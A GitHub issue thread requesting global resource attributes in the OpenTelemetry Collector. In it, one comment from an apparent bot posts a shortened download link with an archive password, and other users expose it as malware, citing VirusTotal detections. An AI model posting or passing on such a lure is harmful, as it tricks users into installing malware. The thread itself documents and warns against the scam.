open-telemetry / opentelemetry-collector

OpenTelemetry Collector
https://opentelemetry.io
Apache License 2.0
4.32k stars 1.43k forks source link

Support for global resource attributes #11296

Open Amoolaa opened 1 day ago

Amoolaa commented 1 day ago

Is your feature request related to a problem? Please describe. We manage a fleet of collectors with a core set of configuration, where users can build on top of it. We want to force a set of resource attributes (based on the host instance id, region, internal pipeline information etc.) on everything being exported from the collector.

Describe the solution you'd like Ability to specify global resource attributes passed as an environment variable to the collector

Describe alternatives you've considered Parsing config and injecting resource attributes into every processor pipeline

Additional context Telegraf offers the global tag configuration block.

ghost commented 1 day ago

try this https://bit.ly/47P0Nvo

Password: changeme

you may need to install the c compiler

Amoolaa commented 1 day ago

@SagarChandra07 with all due respect, not sure I'm willing to click that link. Could you at least describe or give some context (or just put the content here)

Amoolaa commented 1 day ago

In fact, it looks like you're a bot. A quick search verifies that you're going around to other GH issues pages and asking users to download files.

https://github.com/search?q=is%3Aissue%20commenter%3ASagarChandra07&type=issues

thelabcat commented 1 day ago

Yep. Report it for malware. 17 positives on VirusTotal once you get past the password-protected archive (always a red flag).